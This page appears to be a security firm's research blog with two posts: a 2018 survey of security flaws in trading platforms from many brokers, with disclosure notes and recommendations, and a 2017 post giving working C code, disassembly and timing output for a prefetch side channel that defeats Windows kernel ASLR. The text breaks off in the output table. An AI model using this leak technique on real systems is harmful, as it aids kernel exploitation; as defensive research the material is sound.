WHITEPAPER | August 7, 2018

Are You Trading Stocks Securely?

Exposing Security Flaws in Trading Technologies.

The days of open outcry on trading floors of the NYSE, NASDAQ, and other stock exchanges around the globe are gone. With the advent of electronic trading platforms and networks, the exchange of financial securities now is easier and faster than ever; but this comes with inherent risks.

RESEARCH |

Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies

This blog post contains a small portion of the entire analysis. Please refer to the white paper for full details to the research.

Disclaimer

Most of the testing was performed using paper money (demo accounts) provided online by the brokerage houses. Only a few accounts were funded with real money for testing purposes. In the case of commercial platforms, the free trials provided by the brokers were used. Only end-user applications and their direct servers were analyzed. Other backend protocols and related technologies used in exchanges and financial institutions were not tested.

This research is not about High Frequency Trading (HFT), blockchain, or how to get rich overnight.

Introduction

The days of open outcry on trading floors of the NYSE, NASDAQ, and other stock exchanges around the globe are gone. With the advent of electronic trading platforms and networks, the exchange of financial securities now is easier and faster than ever; but this comes with inherent risks.

stock trading firm

The valuable information as well as the attack surface and vectors in trading environments are slightly different than those in banking systems.

Brokerage houses offer trading platforms to operate in the market. These applications allow you to do things including, but not limited to:

  • Fund your account via bank transfers or credit card
  • Keep track of your available equity and buying power (cash and margin balances)
  • Monitor your positions (securities you own) and their performance (profit)
  • Monitor instruments or indexes
  • Send buy/sell orders
  • Create alerts or triggers to be executed when certain thresholds are reached
  • Receive real-time news or video broadcasts
  • Stay in touch with the trading community through social media and chats

Needless to say, every single item on the previous list must be kept secret and only known by and shown to its owner.

Scope

My analysis started mid-2017 and concluded in July 2018. It encompassed the following platforms; many of them are some of the most used and well-known trading platforms, and some allow cryptocurrency trading:

  • 16 Desktop applications
  • 34 Mobile apps
  • 30 Websites

These platforms are part of the trading solutions provided by the following brokers, which are used by tens of millions of traders. Some brokers offer the three types of platforms, however, in some cases only one or two were reviewed due to certain limitations:

  • Ally Financial
  • AvaTrade
  • Binance
  • Bitfinex
  • Bitso
  • Bittrex
  • Bloomberg
  • Capital One
  • Charles Schwab
  • Coinbase
  • easyMarkets
  • eSignal
  • ETNA
  • eToro
  • E-TRADE
  • ETX Capital
  • ExpertOption
  • Fidelity
  • Firstrade
  • FxPro
  • GBMhomebroker
  • Grupo BMV
  • IC Markets
  • Interactive Brokers
  • IQ Option
  • Kraken
  • com
  • Merrill Edge
  • MetaTrader
  • Net
  • NinjaTrader
  • OANDA
  • Personal Capital
  • Plus500
  • Poloniex
  • Robinhood
  • Scottrade
  • TD Ameritrade
  • TradeStation
  • Yahoo! Finance

Devices used:

  • Windows 7 (64-bit)
  • Windows 10 Home Single (64-bit)
  • iOS 10.3.3 (iPhone 6) [not jailbroken]
  • iOS 10.4 (iPhone 6) [not jailbroken]
  • Android 7.1.1 (Emulator) [rooted]

Basic security controls/features were reviewed that represent just the tip of the iceberg when compared to more exhaustive lists of security checks per platform.

Results

Unfortunately, the results proved to be much worse compared with applications in retail banking. For example, mobile apps for trading are less secure than the personal banking apps reviewed in 2013 and 2015.

Apparently, cybersecurity has not been on the radar of the Financial Services Tech space in charge of developing trading apps. Security researchers have disregarded these technologies as well, probably because of a lack of understanding of money markets.

While testing I noted a basic correlation: the biggest brokers are the ones that invest more in fintech cybersecurity. Their products are more mature in terms of functionality, usability, and security.

Based on my testing results and opinion, the following trading platforms are the most secure:

Broker Platforms
TD Ameritrade Web and mobile
Charles Schwab Web and mobile
Merrill Edge Web and mobile
MetaTrader 4/5 Desktop and mobile
Yahoo! Finance Web and mobile
Robinhood Web and mobile
Bloomberg Mobile
TradeStation Mobile
Capital One Mobile
FxPro cTrader Desktop
IC Markets cTrader Desktop
Ally Financial Web
Personal Capital Web
Bitfinex Web and mobile
Coinbase Web and mobile
Bitso Web and mobile

The medium- to high-risk vulnerabilities found on the different platforms include full or partial problems with encryption, Denial of Service, authentication, and/or session management problems. Despite the fact that these platforms implement good security features, they also have areas that should be addressed to improve their security.

Following the platforms I consider must improve in terms of security:

Broker Platforms
Interactive Brokers Desktop, web and mobile
IQ Option Desktop, web and mobile
AvaTrade Desktop and mobile
E-TRADE Web and mobile
eSignal Desktop
TD Ameritrade’s Thinkorwim Desktop
Charles Schwab Desktop
TradeStation Desktop
NinjaTrader Desktop
Fidelity Web
Firstrade Web
Plus500 Web
Markets.com Mobile

Unencrypted Communications

In 9 desktop applications (64%) and in 2 mobile apps (6%), transmitted data unencrypted was observed. Most applications transmit most of the sensitive data in an encrypted way, however, there were some cases where cleartext data could be seen in unencrypted requests.

Among the data seen unencrypted are passwords, balances, portfolio, personal information and other trading-related data. In most cases of unencrypted transmissions, HTTP in plaintext was seen, and in others, old proprietary protocols or other financial protocols such as FIX were used.

Under certain circumstances, an attacker with access to some part of the network, such as the router in a public WiFi, could see and modify information transmitted to and from the trading application. In the trading context, a malicious actor could intercept and alter values, such as the bid or ask prices of an instrument, and cause a user to buy or sell securities based on misleading information.

For example, the follow application uses unencrypted HTTP. In the screenshot, a buy order:

Another interesting example was found in eSignal’s Data Manager. eSignal is a known signal provider and integrates with a wide variety of trading platforms. It acts as a source of market data. During the testing, it was noted that Data Manager authenticates over an unencrypted protocol on the TCP port 2189, apparently developed in 1999.

As can be seen, the copyright states it was developed in 1999 by Data Broadcasting Corporation. Doing a quick search, we found a document from the SEC that states the company changed its name to Interactive Data Corporation, the owners of eSignal. In other words, it looks like it is an in-house development created almost 20 years ago. We could not corroborate this information, though.

The main eSignal login screen also authenticates through a cleartext channel:

FIX is a protocol initiated in 1992 and is one of the industry standard protocols for messaging and trade execution. Currently, it is used by a majority of exchanges and traders. There are guidelines on how to implement it through a secure channel, however, the binary version in cleartext was mostly seen. Tests against the protocol itself were not performed in this analysis.

A broker that supports FIX:

There are some cases where the application encrypts the communication channel, except in certain features. For instance, Interactive Brokers desktop and mobile applications encrypt all the communication, but not that used by iBot, the robot assistant that receives text or voice commands, which sends the instructions to the server embedded in a FIX protocol message in cleartext:

News related to the positions were also observed in plaintext:

Another instance of an application that uses encryption but not for certain channels is this one, Interactive Brokers for Android, where a diagnostics log with sensitive data is sent to the server in a scheduled basis through unencrypted HTTP:

A similar platform that sends everything over HTTPS is IQ Option, but for some reason, it sends duplicate unencrypted HTTP requests to the server disclosing the session cookie.

Others appear to implement their own binary protocols, such as Charles Schwab, however, symbols in watchlists or quoted symbols could be seen in cleartext:

Interactive Brokers supports encryption but by default uses an insecure channel; an inexperienced user who does not know the meaning of “SSL” (Secure Socket Layer) won’t enable it on the login screen and some sensitive data will be sent and received without encryption:

Passwords Stored Unencrypted

In 7 mobile apps (21%) and in 3 desktop applications (21%), the user’s password was stored unencrypted in a configuration file or sent to log files. Local access to the computer or mobile device is required to extract them, though. This access could be either physical or through malware.

In a hypothetical attack scenario, a malicious user could extract a password from the file system or the logging functionality without any in-depth know-how (it’s relatively easily), log in through the web-based trading platform from the brokerage firm, and perform unauthorized actions. They could sell stocks, transfer the money to a newly added bank account, and delete this bank account after the transfer is complete. During testing, I noticed that most web platforms (+75%) support two-factor authentication (2FA), however, it’s not enabled by default, the user must go to the configuration and enable it to receive authorization codes by text messages or email. Hence, if 2FA is not enabled in the account, it’s possible for an attacker, that knows the password already, to link a new bank account and withdraw the money from sold securities.

The following are some instances where passwords are stored locally unencrypted or sent to logs in cleartext:

Base64 is not encryption:

In some cases, the password was sent to the server as a GET parameter, which is also insecure:

One PIN for login and unlocking the app was also seen:

In IQ Option, the password was stored completely unencrypted:

However, in a newer version, the password is encrypted in a configuration file, but is still stored in cleartext in a different file:

Trading and Account Information Stored Unencrypted

In the trading context, operational or strategic data must not be stored unencrypted nor sent to the any log file in cleartext. This sensitive data encompasses values such as personal data, general balances, cash balance, margin balance, net worth, net liquidity, the number of positions, recently quoted symbols, watchlists, buy/sell orders, alerts, equity, buying power, and deposits. Additionally, sensitive technical values such as username, password, session ID, URLs, and cryptographic tokens should not be exposed either.

8 desktop applications (57%) and 15 mobile apps (44%) sent sensitive data in cleartext to log files or stored it unencrypted. Local access to the computer or mobile device is required to extract this data, though. This access could be either physical or through malware.

If these values are somehow leaked, a malicious user could gain insight into users’ net worth and investing strategy by knowing which instruments users have been looking for recently, as well as their balances, positions, watchlists, buying power, etc.

The following screenshots show applications that store sensitive data unencrypted:

Balances:

Investment portfolio:

Buy/sell orders:

Watchlists:

Recently quoted symbols:

Other data:

Trading Programming Languages with DLL Import Capabilities

This is not a bug, it’s a feature. Some trading platforms allow their customers to create their own automated trading robots (a.k.a. expert advisors), indicators, and other plugins. This is achieved through their own programming languages, which in turn are based on other languages, such as C++, C#, or Pascal.

The following are a few of the trading platforms with their own trading language:

  • MetaTrader: MetaQuotes Language (Based on C++ – Supports DLL imports)
  • NinjaTrader: NinjaScript (Based on C# – Supports DLL imports)
  • TradeStation: EasyLanguage (Based on Pascal – Supports DLL imports)
  • AvaTraceAct: ActFX (Based on Pascal – Does not support OS commands nor DLL imports)
  • (FxPro/IC Markets) cTrader: Based on C# (OS command and DLL support is unknown)

Nevertheless, some platforms such as MetaTrader warn their customers about the dangers related to DLL imports and advise them to only execute plugins from trusted sources. However, there are Internet tutorials claiming, “to make you rich overnight” with certain trading robots they provide. These tutorials also give detailed instructions on how to install them in MetaTrader, including enabling the checkbox to allow DLL imports. Innocent non-tech savvy traders are likely to enable such controls, since not everyone knows what a DLL file is or what is being imported from it. Dangerous.

Following a malicious Ichimoku indicator that, when loaded into any chart, downloads and executes a backdoor for remote access:

Another basic example is NinjaTrader, which simply allows OS commands through C#’s System.Diagnostics.Process.Start(). In the following screenshot, calc.exe executed from the chart initialization routine:

Denial of Service

Many desktop platforms integrate with other trading software through common TCP/IP sockets. Nevertheless, some common weaknesses are present in the connections handling of such services.

A common error is not implementing a limit of the number of concurrent connections. If there is no limit of concurrent connections on a TCP daemon, applications are susceptible to denial-of-service (DoS) or other type of attacks depending on the nature of the applications.

For example, TD Ameritrade’s Thinkorswim TCP-Orders Server listens on the TCP port 2000 in the localhost interface, and there is no limit for connections nor a waiting time between orders. This leads to the following problems:

  • Memory leakage since, apparently, the resources assigned to every connection are not freed upon termination.
  • Continuous order pop-ups (one pop-up per order received through the TCP server) render the application useless.
  • A NULL pointer dereference is triggered and an error report (.zip file) is created.

Regardless, it listens on the local interface only. There are different ways to reach this port, such as XMLHttpRequest() in JavaScript through a web browser.

Memory leakage could be easily triggered by creating as many connections as possible:

A similar DoS vulnerability due to memory exhaustion was found in eSignal’s Data Manager. eSignal is a known signal provider and integrates with a wide variety of trading platforms. It acts as a source of market data; therefore, availability is the most important asset:

It’s recommended to implement a configuration item to allow the user to control the behavior of the TCP order server, such as controlling the maximum number of orders sent per minute as well as the number of seconds to wait between orders to avoid bottlenecks.

The following capture from Interactive Brokers shows when this countermeasure is implemented properly. No more than 51 users can be connected simultaneously:

Session Still Valid After Logout

Normally, when the logout button is pressed in an app, the session is finished on both sides: server and client. Usually the server deletes the session token from its valid session list and sends a new empty or random value back to the client to clear or overwrite the session token, so the client needs to reauthenticate next time.

In some web platforms such as E-TRADE, Charles Schwab, Fidelity and Yahoo! Finance (Fixed), the session was still valid one hour after clicking the logout button:

Authentication

While most web-based trading platforms support 2FA (+75%), most desktop applications do not implement it to authenticate their users, even when the web-based platform from the same broker supports it.

Nowadays, most modern smartphones support fingerprint-reading, and most trading apps use it to authenticate their customers. Only 8 apps (24%) do not implement this feature.

Unfortunately, using the fingerprint database in the phone has a downside:

Weak Password Policies

Some institutions let the users choose easily guessable passwords. For example:

The lack of a secure password policy increases the chances that a brute-force attack will succeed in compromising user accounts.

In some cases, such as in IQ Option and Markets.com, the password policy validation is implemented on the client-side only, hence, it is possible to intercept a request and send a weak password to the server:

Automatic Logout/Lockout for Idle Sessions

Most web-based platforms logout/lockout the user automatically, but this is not the case for desktop (43%) and mobile apps (25%). This is a security control that forces the user to authenticate again after a period of idle time.

Privacy Mode

This mode protects the customers’ private information from being displayed on the screen in public areas where shoulder-surfing attacks are feasible. Most of the mobile apps, desktop applications, and web platforms do not implement this useful and important feature.

The following images show before and after enabling privacy mode in Thinkorswim for mobile:

Hardcoded Secrets in Code and App Obfuscation

16 Android .apk installers (47%) were easily reverse engineered to human-readable code since they lack of obfuscation. Most Java and .NET-based desktop applications were also reverse-engineered easily. The rest of the applications had medium to high levels of obfuscation, such as Merrill Edge in the next screenshot.

The goal of obfuscation is to conceal the applications purpose (security through obscurity) and logic in order to deter reverse engineering and to make it more difficult.

In the non-obfuscated platforms, there are hardcoded secrets such as cryptographic keys and third-party service partner passwords. This information could allow unauthorized access to other systems that are not under the control of the brokerage houses. For example, a Morningstar.com account (investment research) hardcoded in a Java class:

Interestingly, 14 of the mobile apps (41%) and 4 of the desktop platforms (29%) have traces (hostnames and IPs) about the internal development and testing environments where they were made or tested. Some hostnames are reachable from the Internet and since they’re testing systems they could lack of proper protections.

SSL Certificate Validation

11 of the reviewed mobile apps (32%) do not check the authenticity of the remote endpoint by verifying its SSL certificate; therefore, it’s feasible to perform Man-in-the-Middle (MiTM) attacks to eavesdrop on and tamper with data. Some MiTM attacks require to trick the user into installing a malicious certificate on their phones, though.

The ones that verify the certificate normally do not transmit any data, however, only Charles Schwab allows the user to use the app with the provided certificate:

Lack of Anti-exploitation Mitigations

ASLR randomizes the virtual address space locations of dynamically loaded libraries. DEP disallows the execution of data in the data segment. Stack Canaries are used to identify if the stack has been corrupted. These security features make much more difficult for memory corruption bugs to be exploited and execute arbitrary code.

The majority of the desktop applications do not have these security features enabled in their final releases. In some cases, that these features are only enabled in some components, not the entire application. In other cases, components that handle network connections also lack these flags.

Linux applications have similar protections. IQ Option for Linux does not enforce all of them on certain binaries.

Other Weaknesses

More issues were found in the platforms. For more details, please refer to the white paper. 

Statistics

Since a picture is worth a thousand words, consider the following graphs:

For more statistics, please refer to the white paper.

Responsible Disclosure

One of IOActive’s missions is to act responsibly when it comes to vulnerability disclosure. In September 2017 we sent a detailed report to 13 of the brokerage firms whose mobile trading apps presented some of the higher risks vulnerabilities discussed in this paper. More recently, between May and July 2018, we sent additional vulnerability reports to brokerage firms.

As of July 27, 2018, 19 brokers that have medium- or high-risk vulnerabilities in any of their platforms were contacted.

TD Ameritrade and Charles Schwab were the brokers that communicated more with IOActive for resolving the reported issues.

For a table with the current status of the responsible disclosure process, please refer to the white paper.

Conclusions and Recommendations

  • Trading platforms are less secure than the applications seen in retail banking.
  • There’s still a long way to go to improve the maturity level of security in trading technologies.
  • End users should enable all the security mechanisms their platforms offer, such as 2FA and/or biometric authentication and automatic lockout/logout. Also, it’s recommended not to trade while connected to public networks and not to use the same password for other financial services.
  • Brokerage firms should perform regular internal audits to continuously improve the security of their trading platforms.
  • Brokerage firms should also offer security guidance in their online education centers.
  • Developers should analyze their current applications to determine if they suffer from the vulnerabilities described in this paper, and if so, fix them.
  • Developers should design new, more secure financial software following secure coding practices.
  • Regulators should encourage brokers to implement safeguards for a better trading environment. They could also create trading-specific guidelines to be followed by the brokerage firms and FinTech companies in charge of creating trading software.
  • Rating organizations should include security in their reviews.

Side Note

Remember: the stock market is not a casino where you magically get rich overnight. If you lack an understanding of how stocks or other financial instruments work, there is a high risk of losing money quickly. You must understand the market and its purpose before investing.

With nothing left to say, I wish you happy and secure trading!

Thanks for reading,

Alejandro
@nitr0usmx

This blog post contains a small portion of the entire analysis.
Please refer to the white paper.

RESEARCH | January 25, 2017

Harmful prefetch on Intel

We’ve seen a lot of articles and presentations that show how the prefetch instruction can be used to bypass modern OS kernel implementations of ASLR. Most of the public work however only focuses on getting base addresses of modules with the idea of building a ROP chain or maybe patching some pointer/value of the data section. This post represents an extension of previous work, as it documents the usage of prefetch to discover PTEs on Windows 10.

You can find the code I used and perform the tests in your own processor at https://github.com/IOActive/I-know-where-your-page-lives/blob/master/prefetch/PrefetchASLRBypass.cpp

 
Introduction

I had the opportunity to give the talk, “I Know Where your Page Lives” late last year, first at ekoparty, and then at ZeroNights. The idea is simple enough: use TSX as a side channel to measure the difference in time between a mapped page and an unmapped page with the final goal of determining where the PML4-Self-Ref entry is located. You can find not only the slides but also the code that performs the address leaking and an exploit for CVE-2016-7255 as a demonstration of the technique at https://github.com/IOActive/I-know-where-your-page-lives.

After the presentation, different people approached and asked me about prefetch and BTB, and its potential usage to do the same thing. The truth is at the time, I was really skeptical about prefetch because my understanding was the only actual attack was the one named “Cache Probing” (/wp-content/uploads/2017/01/4977a191.pdf).

Indeed, I need to thank my friend Rohit Mothe (@rohitwas) because he made me realize I completely overlooked Anders Fogh’s and Daniel Gruss’ presentation: /wp-content/uploads/2017/01/us-16-Fogh-Using-Undocumented-CPU-Behaviour-To-See-Into-Kernel-Mode-And-Break-KASLR-In-The-Process.pdf.

So in this post I’m going to cover prefetch and say a few words about BTB. Let’s get into it:

Leaking with prefetch

For TSX, the routine that returned different values depending on whether the page was mapped or not was:

 

UINT64 side_channel_tsx(PVOID lpAddress) {
     UINT64 begin = 0;
     UINT64 difference = 0;
     int status = 0;
     unsigned int tsc_aux1 = 0;
     unsigned int tsc_aux2 = 0;
     begin = __rdtscp(&tsc_aux1);
     if ((status = _xbegin()) == _XBEGIN_STARTED) {
           *(char *)lpAddress = 0x00;
           difference = __rdtscp(&tsc_aux2) – begin;
           _xend();
     }
     else {
           difference = __rdtscp(&tsc_aux2) – begin;
     }
     return difference;

 

}
In the case of prefetch, this gets simplified:

 

UINT64 call_prefetch(PVOID address) {
     unsigned int tsc_aux0, tsc_aux1;
     UINT64 begin, difference = 0;
     begin = __rdtscp(&tsc_aux0);
     _m_prefetch((void *)address);
     difference = __rdtscp(&tsc_aux1) – begin;
     return difference;

 

}
 
The above routine gets compiled into the following:
.text:0000000140001300 unsigned __int64 call_prefetch(void *) proc near
.text:0000000140001300
.text:0000000140001300                 mov     [rsp+address], rcx
.text:0000000140001305                 sub     rsp, 28h
.text:0000000140001309                 mov     [rsp+28h+difference], 0
.text:0000000140001312                 rdtscp
.text:0000000140001315                 lea     r8, [rsp+28h+var_28]
.text:0000000140001319                 mov     [r8], ecx
.text:000000014000131C                 shl     rdx, 20h
.text:0000000140001320                 or      rax, rdx
.text:0000000140001323                 mov     [rsp+28h+var_18], rax
.text:0000000140001328                 mov     rax, [rsp+28h+address]
.text:000000014000132D                 prefetch byte ptr [rax]
.text:0000000140001330                 rdtscp
.text:0000000140001333                 lea     r8, [rsp+28h+var_24]
.text:0000000140001338                 mov     [r8], ecx
.text:000000014000133B                 shl     rdx, 20h
.text:000000014000133F                 or      rax, rdx
.text:0000000140001342                 sub     rax, [rsp+28h+var_18]
.text:0000000140001347                 mov     [rsp+28h+difference], rax
.text:000000014000134C                 mov     rax, [rsp+28h+difference]
.text:0000000140001351                 add     rsp, 28h
.text:0000000140001355                 retn
.text:0000000140001355 unsigned __int64 call_prefetch(void *) endp


And just with that, you’re now able to see differences between pages in Intel processors. Following is the measures for every potential PML4-Self-Ref:

C:>Prefetch.exe
+] Getting cycles for every potential address…
Virtual Addr: ffff804020100800 – Cycles: 41.374870
Virtual Addr: ffff80c060301808 – Cycles: 40.089081
Virtual Addr: ffff8140a0502810 – Cycles: 41.046860
Virtual Addr: ffff81c0e0703818 – Cycles: 41.114498
Virtual Addr: ffff824120904820 – Cycles: 43.001740
Virtual Addr: ffff82c160b05828 – Cycles: 41.283791
Virtual Addr: ffff8341a0d06830 – Cycles: 41.358360
Virtual Addr: ffff83c1e0f07838 – Cycles: 40.009399
Virtual Addr: ffff844221108840 – Cycles: 41.001652
Virtual Addr: ffff84c261309848 – Cycles: 40.981819
Virtual Addr: ffff8542a150a850 – Cycles: 40.149792
Virtual Addr: ffff85c2e170b858 – Cycles: 40.725040
Virtual Addr: ffff86432190c860 – Cycles: 40.291069
Virtual Addr: ffff86c361b0d868 – Cycles: 40.707722
Virtual Addr: ffff8743a1d0e870 – Cycles: 41.637531
Virtual Addr: ffff87c3e1f0f878 – Cycles: 40.152950
Virtual Addr: ffff884422110880 – Cycles: 39.376148
Virtual Addr: ffff88c462311888 – Cycles: 40.824200
Virtual Addr: ffff8944a2512890 – Cycles: 41.467430
Virtual Addr: ffff89c4e2713898 – Cycles: 40.785912
Virtual Addr: ffff8a45229148a0 – Cycles: 40.598949
Virtual Addr: ffff8ac562b158a8 – Cycles: 39.901249
Virtual Addr: ffff8b45a2d168b0 – Cycles: 42.094440
Virtual Addr: ffff8bc5e2f178b8 – Cycles: 39.765862
Virtual Addr: ffff8c46231188c0 – Cycles: 40.320999
Virtual Addr: ffff8cc6633198c8 – Cycles: 40.911572
Virtual Addr: ffff8d46a351a8d0 – Cycles: 42.405609
Virtual Addr: ffff8dc6e371b8d8 – Cycles: 39.770458
Virtual Addr: ffff8e472391c8e0 – Cycles: 40.235458
Virtual Addr: ffff8ec763b1d8e8 – Cycles: 41.618431
Virtual Addr: ffff8f47a3d1e8f0 – Cycles: 42.272690
Virtual Addr: ffff8fc7e3f1f8f8 – Cycles: 41.478119
Virtual Addr: ffff904824120900 – Cycles: 41.190731
Virtual Addr: ffff90c864321908 – Cycles: 40.296669
Virtual Addr: ffff9148a4522910 – Cycles: 41.237400
Virtual Addr: ffff91c8e4723918 – Cycles: 41.305069
Virtual Addr: ffff924924924920 – Cycles: 40.742580
Virtual Addr: ffff92c964b25928 – Cycles: 41.106258
Virtual Addr: ffff9349a4d26930 – Cycles: 40.168690
Virtual Addr: ffff93c9e4f27938 – Cycles: 40.182491
Virtual Addr: ffff944a25128940 – Cycles: 40.758980
Virtual Addr: ffff94ca65329948 – Cycles: 41.308441
Virtual Addr: ffff954aa552a950 – Cycles: 40.708359
Virtual Addr: ffff95cae572b958 – Cycles: 41.660400
Virtual Addr: ffff964b2592c960 – Cycles: 40.056969
Virtual Addr: ffff96cb65b2d968 – Cycles: 40.360249
Virtual Addr: ffff974ba5d2e970 – Cycles: 40.732380
Virtual Addr: ffff97cbe5f2f978 – Cycles: 31.727171
Virtual Addr: ffff984c26130980 – Cycles: 32.122742
Virtual Addr: ffff98cc66331988 – Cycles: 34.147800
Virtual Addr: ffff994ca6532990 – Cycles: 31.983770
Virtual Addr: ffff99cce6733998 – Cycles: 32.092171
Virtual Addr: ffff9a4d269349a0 – Cycles: 32.114910
Virtual Addr: ffff9acd66b359a8 – Cycles: 41.478668
Virtual Addr: ffff9b4da6d369b0 – Cycles: 41.786579
Virtual Addr: ffff9bcde6f379b8 – Cycles: 41.779861
Virtual Addr: ffff9c4e271389c0 – Cycles: 39.611729
Virtual Addr: ffff9cce673399c8 – Cycles: 40.474689
Virtual Addr: ffff9d4ea753a9d0 – Cycles: 40.876888
Virtual Addr: ffff9dcee773b9d8 – Cycles: 31.442320
Virtual Addr: ffff9e4f2793c9e0 – Cycles: 40.997681
Virtual Addr: ffff9ecf67b3d9e8 – Cycles: 40.554470
Virtual Addr: ffff9f4fa7d3e9f0 – Cycles: 39.774040
Virtual Addr: ffff9fcfe7f3f9f8 – Cycles: 40.116692
Virtual Addr: ffffa05028140a00 – Cycles: 41.208839
Virtual Addr: ffffa0d068341a08 – Cycles: 40.616745
Virtual Addr: ffffa150a8542a10 – Cycles: 40.826920
Virtual Addr: ffffa1d0e8743a18 – Cycles: 40.243439
Virtual Addr: ffffa25128944a20 – Cycles: 40.432339
Virtual Addr: ffffa2d168b45a28 – Cycles: 40.990879
Virtual Addr: ffffa351a8d46a30 – Cycles: 40.756161
Virtual Addr: ffffa3d1e8f47a38 – Cycles: 40.995461
Virtual Addr: ffffa45229148a40 – Cycles: 43.192520
Virtual Addr: ffffa4d269349a48 – Cycles: 39.994450
Virtual Addr: ffffa552a954aa50 – Cycles: 43.002972
Virtual Addr: ffffa5d2e974ba58 – Cycles: 40.611279
Virtual Addr: ffffa6532994ca60 – Cycles: 40.319969
Virtual Addr: ffffa6d369b4da68 – Cycles: 40.210579
Virtual Addr: ffffa753a9d4ea70 – Cycles: 41.015251
Virtual Addr: ffffa7d3e9f4fa78 – Cycles: 42.400841
Virtual Addr: ffffa8542a150a80 – Cycles: 40.551250
Virtual Addr: ffffa8d46a351a88 – Cycles: 41.424809
Virtual Addr: ffffa954aa552a90 – Cycles: 40.279469
Virtual Addr: ffffa9d4ea753a98 – Cycles: 40.707081
Virtual Addr: ffffaa552a954aa0 – Cycles: 41.050079
Virtual Addr: ffffaad56ab55aa8 – Cycles: 41.005859
Virtual Addr: ffffab55aad56ab0 – Cycles: 42.017422
Virtual Addr: ffffabd5eaf57ab8 – Cycles: 40.963120
Virtual Addr: ffffac562b158ac0 – Cycles: 40.547939
Virtual Addr: ffffacd66b359ac8 – Cycles: 41.426441
Virtual Addr: ffffad56ab55aad0 – Cycles: 40.856972
Virtual Addr: ffffadd6eb75bad8 – Cycles: 41.298321
Virtual Addr: ffffae572b95cae0 – Cycles: 41.048382
Virtual Addr: ffffaed76bb5dae8 – Cycles: 40.133049
Virtual Addr: ffffaf57abd5eaf0 – Cycles: 40.949371
Virtual Addr: ffffafd7ebf5faf8 – Cycles: 41.055511
Virtual Addr: ffffb0582c160b00 – Cycles: 40.668652
Virtual Addr: ffffb0d86c361b08 – Cycles: 40.307072
Virtual Addr: ffffb158ac562b10 – Cycles: 40.961208
Virtual Addr: ffffb1d8ec763b18 – Cycles: 40.545219
Virtual Addr: ffffb2592c964b20 – Cycles: 39.612350
Virtual Addr: ffffb2d96cb65b28 – Cycles: 39.871761
Virtual Addr: ffffb359acd66b30 – Cycles: 40.954922
Virtual Addr: ffffb3d9ecf67b38 – Cycles: 41.128891
Virtual Addr: ffffb45a2d168b40 – Cycles: 41.765820
Virtual Addr: ffffb4da6d369b48 – Cycles: 40.116150
Virtual Addr: ffffb55aad56ab50 – Cycles: 40.142132
Virtual Addr: ffffb5daed76bb58 – Cycles: 41.128342
Virtual Addr: ffffb65b2d96cb60 – Cycles: 40.538609
Virtual Addr: ffffb6db6db6db68 – Cycles: 40.816090
Virtual Addr: ffffb75badd6eb70 – Cycles: 39.971680
Virtual Addr: ffffb7dbedf6fb78 – Cycles: 40.195480
Virtual Addr: ffffb85c2e170b80 – Cycles: 41.769852
Virtual Addr: ffffb8dc6e371b88 – Cycles: 39.495258
Virtual Addr: ffffb95cae572b90 – Cycles: 40.671532
Virtual Addr: ffffb9dcee773b98 – Cycles: 42.109299
Virtual Addr: ffffba5d2e974ba0 – Cycles: 40.634399
Virtual Addr: ffffbadd6eb75ba8 – Cycles: 41.174549
Virtual Addr: ffffbb5daed76bb0 – Cycles: 39.653481
Virtual Addr: ffffbbddeef77bb8 – Cycles: 40.941380
Virtual Addr: ffffbc5e2f178bc0 – Cycles: 40.250462
Virtual Addr: ffffbcde6f379bc8 – Cycles: 40.802891
Virtual Addr: ffffbd5eaf57abd0 – Cycles: 39.887249
Virtual Addr: ffffbddeef77bbd8 – Cycles: 41.297520
Virtual Addr: ffffbe5f2f97cbe0 – Cycles: 41.927601
Virtual Addr: ffffbedf6fb7dbe8 – Cycles: 40.665009
Virtual Addr: ffffbf5fafd7ebf0 – Cycles: 40.985100
Virtual Addr: ffffbfdfeff7fbf8 – Cycles: 39.987282
Virtual Addr: ffffc06030180c00 – Cycles: 40.732288
Virtual Addr: ffffc0e070381c08 – Cycles: 39.492901
Virtual Addr: ffffc160b0582c10 – Cycles: 62.125061
Virtual Addr: ffffc1e0f0783c18 – Cycles: 42.010689
Virtual Addr: ffffc26130984c20 – Cycles: 62.628231
Virtual Addr: ffffc2e170b85c28 – Cycles: 40.704681
Virtual Addr: ffffc361b0d86c30 – Cycles: 40.894249
Virtual Addr: ffffc3e1f0f87c38 – Cycles: 40.582729
Virtual Addr: ffffc46231188c40 – Cycles: 40.770050
Virtual Addr: ffffc4e271389c48 – Cycles: 41.601028
Virtual Addr: ffffc562b158ac50 – Cycles: 41.637402
Virtual Addr: ffffc5e2f178bc58 – Cycles: 41.289742
Virtual Addr: ffffc6633198cc60 – Cycles: 41.506741
Virtual Addr: ffffc6e371b8dc68 – Cycles: 41.459251
Virtual Addr: ffffc763b1d8ec70 – Cycles: 40.916824
Virtual Addr: ffffc7e3f1f8fc78 – Cycles: 41.244968
Virtual Addr: ffffc86432190c80 – Cycles: 39.862148
Virtual Addr: ffffc8e472391c88 – Cycles: 41.910854
Virtual Addr: ffffc964b2592c90 – Cycles: 41.935471
Virtual Addr: ffffc9e4f2793c98 – Cycles: 41.454491
Virtual Addr: ffffca6532994ca0 – Cycles: 40.622150
Virtual Addr: ffffcae572b95ca8 – Cycles: 40.925949
Virtual Addr: ffffcb65b2d96cb0 – Cycles: 41.327599
Virtual Addr: ffffcbe5f2f97cb8 – Cycles: 40.444920
Virtual Addr: ffffcc6633198cc0 – Cycles: 40.736252
Virtual Addr: ffffcce673399cc8 – Cycles: 41.685032
Virtual Addr: ffffcd66b359acd0 – Cycles: 41.582249
Virtual Addr: ffffcde6f379bcd8 – Cycles: 40.410240
Virtual Addr: ffffce673399cce0 – Cycles: 41.034451
Virtual Addr: ffffcee773b9dce8 – Cycles: 41.342724
Virtual Addr: ffffcf67b3d9ecf0 – Cycles: 40.245430
Virtual Addr: ffffcfe7f3f9fcf8 – Cycles: 40.344818
Virtual Addr: ffffd068341a0d00 – Cycles: 40.897160
Virtual Addr: ffffd0e8743a1d08 – Cycles: 40.368290
Virtual Addr: ffffd168b45a2d10 – Cycles: 39.570740
Virtual Addr: ffffd1e8f47a3d18 – Cycles: 40.717129
Virtual Addr: ffffd269349a4d20 – Cycles: 39.548271
Virtual Addr: ffffd2e974ba5d28 – Cycles: 39.956161
Virtual Addr: ffffd369b4da6d30 – Cycles: 39.555321
Virtual Addr: ffffd3e9f4fa7d38 – Cycles: 41.690128
Virtual Addr: ffffd46a351a8d40 – Cycles: 41.191399
Virtual Addr: ffffd4ea753a9d48 – Cycles: 40.657902
Virtual Addr: ffffd56ab55aad50 – Cycles: 40.946331
